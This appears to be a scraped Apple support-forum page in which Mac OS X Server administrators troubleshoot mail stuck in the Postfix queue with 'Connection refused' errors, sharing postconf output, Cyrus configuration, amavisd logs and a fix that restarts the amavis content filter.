unknownlocal_recipient_rejectcode = 550
virtualmailboxdomains =
virtual_transport = virtual -
I am getting this error when email comes in
I have tried setting up a new mail database on a different drive but it hasnt helped at all.
<[email protected]>, relay=none, delay=0, status=deferred (delivery temporarily suspended: connect to /maildat/socket/lmtp[/maildat/socket/lmtp]: Connection refused)
I have checked the .conf files that referenced the previous mail database to make sure they changed, and they had indeed changed to point to the new files. but so far... nothing.absolutely...
postconf
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
luser_relay = bounceuser
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
messagesizelimit = 12582912
mydestination = $myhostname,localhost.$mydomain,memphisdns.com
mydomain = memphisdns.com
mydomain_fallback = localhost
myhostname = memphisdns.com
mynetworks = 192.168.0.0/24,216.37.68.34,216.37.68.45,127.0.0.1
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdpw_server_securityoptions = plain,login
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/certificates/Default.crt
smtpdtls_keyfile = /etc/certificates/Default.key
smtpduse_pwserver = yes
unknownlocal_recipient_rejectcode = 550
virtualmailboxdomains = hash:/etc/postfix/virtual_domains
virtual_transport = lmtp:unix:/var/imap/socket/lmtp
imapd.conf
admins: cyrusimap
configdirectory: /Volumes/netdat/post/database
partition-default: /Volumes/netdat/post/store
unixhierarchysep: yes
altnamespace: yes
servername: memphisdns.com
quotawarn: 80
sievedir: /usr/sieve
sendmail: /usr/sbin/sendmail
lmtpdowncasercpt: 1
popauthgssapi: yes
tlscertfile: /etc/certificates/Default.crt
logrollingdays: 30
imapauthlogin: yes
logrolling_daysenabled: false
popauthapop: yes
enablequotawarnings: yes
lmtpover_quota_permfailure: yes
tlskeyfile: /etc/certificates/Default.key
imapauthplain: yes -
127.0.0.1 Connection refused
For some reason, I am unable to send or receive messages. The senders and receivers get no error messages, but the messages get stuck in the mail queue with the error "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused"
It has worked perfectly in the past. I recently began using DNS service (I wasn't previously), but now it won't work with the DNS on or off.
Correction: When I turn DNS off, I get this error: The error that the other server returned was: 550 550 #5.1.0 Address rejected [email protected] (state 14).
Message was edited by: vidgpersonrswThe 'delivery temporarily suspended' message is coming from postfix trying to pass the message through some kind of filter process that isn't running.
For example, the anti-virus scanner runs in this manner - messages come into the server, postfix passes the message to the scanner via a custom port on 127.0.0.1 and the scanner passes it back to postfix.
You should check that all your mail components are working correctly. -
Can't get mail to work. 127.0.0.1 refused
The server I had for mail died, so I am trying to get my companies mail over to the server we use for hosting our web sites. At one point before I worked here this server hosted the mail as well as the sites, so I thought this would not be such a daunting task. The overview in SA shows my SMTP, POP is Enabled, but I get error "connect to 127.0.0.1[127.0.0.1]: Connection refused". I can't figure out the problem.
My "sudo serveradmin fullstatus mail"
mail:setStateVersion = 1
mail:postfixStartedTime = "2009-04-22 14:19:42 -0400"
mail:cyrusStartedTime = "2009-04-22 13:44:49 -0400"
mail:protocolsArray:arrayindex:0:kind = "INCOMING"
mail:protocolsArray:arrayindex:0:status = "ON"
mail:protocolsArray:arrayindex:0:total = 0
mail:protocolsArray:arrayindex:0:active = 0
mail:protocolsArray:arrayindex:0:protocol = "SMTP"
mail:protocolsArray:arrayindex:1:kind = "OUTGOING"
mail:protocolsArray:arrayindex:1:status = "ON"
mail:protocolsArray:arrayindex:1:total = 0
mail:protocolsArray:arrayindex:1:active = 0
mail:protocolsArray:arrayindex:1:protocol = "SMTP"
mail:protocolsArray:arrayindex:2:kind = "INCOMING"
mail:protocolsArray:arrayindex:2:status = "ON"
mail:protocolsArray:arrayindex:2:total = 0
mail:protocolsArray:arrayindex:2:active = 0
mail:protocolsArray:arrayindex:2:protocol = "POP3"
mail:protocolsArray:arrayindex:3:kind = "INCOMING"
mail:protocolsArray:arrayindex:3:status = "ON"
mail:protocolsArray:arrayindex:3:total = 0
mail:protocolsArray:arrayindex:3:active = 0
mail:protocolsArray:arrayindex:3:protocol = "IMAP"
mail:protocolsArray:arrayindex:4:kind = "INCOMING"
mail:protocolsArray:arrayindex:4:status = "ON"
mail:protocolsArray:arrayindex:4:total = 0
mail:protocolsArray:arrayindex:4:active = 0
mail:protocolsArray:arrayindex:4:protocol = "LISTSERVER"
mail:state = "RUNNING"
mail:readWriteSettingsVersion = 1
mail:startedTime = "2009-04-22 13:44:49 -0400"
mail:logPaths:Lists qrunner = "/var/mailman/logs/qrunner"
mail:logPaths:Amavisd Log = "/var/log/amavis.log"
mail:logPaths:Lists post = "/var/mailman/logs/post"
mail:logPaths:Virus Log = "/var/log/clamav.log"
mail:logPaths:SMTP Log = "/var/log/mail.log"
mail:logPaths:Lists smtp = "/var/mailman/logs/smtp"
mail:logPaths:Lists subscribe = "/var/mailman/logs/subscribe"
mail:logPaths:Virus DB Log = "/var/log/freshclam.log"
mail:logPaths:POP Log = "/var/log/mailaccess.log "
mail:logPaths:Lists smtp-failure = "/var/mailman/logs/smtp-failure"
mail:logPaths:Lists error = "/var/mailman/logs/error"
mail:logPaths:IMAP Log = "/var/log/mailaccess.log "
mail:logPaths:Server Log = "/var/log/mailaccess.log "
My sudo ls -l /var/spool/imap
drwxr-xr-x 2 cyrusima mail 68 Apr 22 14:05 stage.
drwx------ 7 cyrusima mail 238 Apr 22 11:37 user
Some mailq stuff
5A8C999BF0B 1063 Wed Apr 22 14:00:03 [email protected]
(delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused)
[email protected]
6DF5E99BF23 571 Wed Apr 22 14:03:00 [email protected]
(connect to 127.0.0.1[127.0.0.1]: Connection refused)
[email protected]
7E10A99BF2B 571 Wed Apr 22 14:04:00 [email protected]
(connect to 127.0.0.1[127.0.0.1]: Connection refused)
[email protected]
86D7D99BF33 571 Wed Apr 22 14:05:00 [email protected]
(connect to 127.0.0.1[127.0.0.1]: Connection refused)
And my postconf -n
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 41943040
mydestination = $myhostname,localhost.$mydomain,localhost,colorlogic.com,clincorporated.com,cli interactive.com
mydomain = colorlogic.com
mydomain_fallback = localhost
myhostname = mail.colorlogic.com
mynetworks = 192.168.129.0/24,127.0.0.1
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdclientrestrictions = permit_mynetworks hash:/etc/postfix/smtpdreject rejectrblclient sbl-xbl.spamhaus.org rejectrblclient relays.ordb.org permit
smtpdpw_server_securityoptions = login,plain
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_keyfile =
smtpduse_pwserver = yes
unknownlocal_recipient_rejectcode = 550
virtualmailboxdomains =
virtual_transport = virtual
Any thoughts on how I can sort this out and start receiving and sending email again?
Thanks
DerekCool! Still having problems, but this is a step to resolution.
www:~ administrator$ sudo chown -R clamav:clamav /var/virusmails
www:~ administrator$ sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist
www:~ administrator$ Workaround Bonjour: Unknown error: 0
ps U clamav
PID TT STAT TIME COMMAND
8047 ?? Ss 0:02.04 amavisd (master)
8049 ?? S 0:00.44 amavisd (ch3-08049-03)
8050 ?? S 0:00.57 amavisd (ch2-avail)
8179 ?? R 0:05.38 /usr/bin/clamscan --stdout --disable-summary -r /var/
LOG
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: starting. /usr/bin/amavisd at www.colorlogic.com amavisd-new-2.2.0 (20041102), Unicode aware
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: user=, EUID: 0 (0); group=, EGID: 0 0 (0 0)
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Perl version 5.008006
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Net::Server: 2009/04/23-14:47:42 Amavis (type Net::Server::PreForkSimple) starting! pid(8047)
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Net::Server: Binding to UNIX socket file /var/amavis/amavisd.sock using SOCK_STREAM
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Net::Server: Binding to TCP port 10024 on host 127.0.0.1
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Net::Server: Setting gid to "30 30"
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Net::Server: Setting uid to "30"
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Amavis::Conf 2.033
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Archive::Tar 1.22
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Archive::Zip 1.14
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Compress::Zlib 1.33
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Convert::TNEF 0.17
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Convert::UUlib 1.03
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module DB_File 1.810
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module MIME::Entity 5.416
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module MIME::Parser 5.416
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module MIME::Tools 5.416
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Mail::Header 1.65
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Mail::Internet 1.65
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Mail::SpamAssassin 3.000001
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Net::Cmd 2.26
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Net::SMTP 2.29
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Net::Server 0.87
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Time::HiRes 1.65
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Module Unix::Syslog 0.99
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Amavis::DB code NOT loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Amavis::Cache code NOT loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Lookup::SQL code NOT loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Lookup::LDAP code NOT loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: AMCL-in protocol code loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: SMTP-in protocol code loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: ANTI-VIRUS code loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: ANTI-SPAM code loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Unpackers code loaded
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Found $file at /usr/bin/file
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $arc, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Found $gzip at /usr/bin/gzip
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Found $bzip2 at /usr/bin/bzip2
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $lzop, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $lha, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $unarj, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Found $uncompress at /usr/bin/uncompress
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $unfreeze, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $unrar, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $zoo, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Found $cpio at /usr/bin/cpio
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $ar, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $rpm2cpio, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $cabextract, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: No $dspam, not using it
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: Found secondary av scanner Clam Antivirus - clamscan at /usr/bin/clamscan
Apr 23 14:47:42 www.colorlogic.com /usr/bin/amavisd[8047]: SpamControl: initializing Mail::SpamAssassin
Apr 23 14:47:43 www.colorlogic.com /usr/bin/amavisd[8047]: SpamControl: done
Apr 23 14:48:00 www.colorlogic.com /usr/bin/amavisd[8049]: (08049-01) ESMTP::10024 /var/amavis/amavis-20090423T144800-08049: <[email protected]> -> <[email protected]> Received: SIZE=571 from mail.colorlogic.com ([127.0.0.1]) by localhost (www.colorlogic.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08049-01 for <[email protected]>; Thu, 23 Apr 2009 14:48:00 -0400 (EDT)
Apr 23 14:48:00 www.colorlogic.com /usr/bin/amavisd[8049]: (08049-01) Checking: <[email protected]> -> <[email protected]>
Apr 23 14:48:00 www.colorlogic.com /usr/bin/amavisd[8049]: (08049-01) p001 1 Content-Type: text/plain, size: 70 B, name:
Apr 23 14:48:00 www.colorlogic.com /usr/bin/amavisd[8049]: (08049-01) WARN: all primary virus scanners failed, considering backups
Apr 23 14:48:10 www.colorlogic.com /usr/bin/amavisd[8049]: (08049-01) SPAM-TAG, <[email protected]> -> <[email protected]>, No, hits=-2.4 tagged_above=-999 required=20 tests=ALL_TRUSTED
Apr 23 14:48:10 www.colorlogic.com /usr/bin/amavisd[8049]: (08049-01) FWD via SMTP: [127.0.0.1]:10025 <[email protected]> ->
Maybe you are looking for
-
Is there a way to get my bookmarks in Safari on my iPhone into Firefox Home?
i browse around in Safari on my iPhone, and bookmark things. is there a way to export / sync / transfer these bookmarks i made in Safari on my iPhone into Firefox Home on my iPhone? or into Firefox on my Mac (because then it would just sync with my i
-
Why does iTunes SUCK in Korea?
I bought an iPhone 3Gs and thought it was the greatest phone in the world. I loved it. But the apps suck in iTunes Korea. When I browse games on iTunes nothing shows but a white screen with "GAMES" written on the top left corner. There are no game ap
-
PDF loaded into iBooks will not sync back to iTunes
I accessed a PDF on the web from Safari on my iPhone 4s, then opened it in iBooks. Then I connected the iPhone to my iMac and synced with iTunes. I was expecting the new PDF to sync back to my iTunes, but that did not happen. Am I to assume that PD
-
I have stopped buying from iTMS - The songs don't work at home
I am extremely disappointed and disillusioned with iTunes after being a huge fan for so long. I love the iPod and have 3. I love the whole idea of digital music and spent a fortune on iTunes while most of my friends and colleagues were using other sy
-
WSA redundancy and WCCP questions
Hello! My customer bought a pair of S370 WSA prior to deployment planning. I need to deploy both of them into existing network and I'd like to ask few questions with somebody who knows how to do it. 1. As I know from manuals, WSA doesn't support any